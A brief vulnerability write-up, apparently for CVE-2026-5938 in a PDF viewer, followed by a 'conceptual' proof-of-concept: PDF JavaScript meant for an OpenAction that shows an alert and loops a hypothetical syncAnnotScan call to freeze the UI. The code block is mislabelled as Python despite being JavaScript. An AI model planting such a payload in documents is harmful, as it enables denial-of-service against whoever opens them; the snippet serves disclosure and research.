Improper control flow management allows a crafted document action chain to cause modal dialog reentry on the main thread, resulting in UI freeze and denial of service.
The following code is for security research and authorized testing only.
python
// Conceptual PoC for CVE-2026-5938
// Embedded in a PDF document action (e.g., OpenAction)
function exploit() {
try {
// Attempt to trigger a modal dialog
app.alert('Initial Dialog');
// Crafted action chain attempting re-entry
// This simulates a loop or recursive call that forces the UI thread to block
var count = 0;
while (count < 10000) {
// Hypothetical API call that triggers internal UI event processing
// leading to re-entry into the dialog manager
this.syncAnnotScan();
count++;
}
app.alert('This may not be reached if UI freezes');
} catch (e) {
console.println('Exception: ' + e);
}
}
exploit();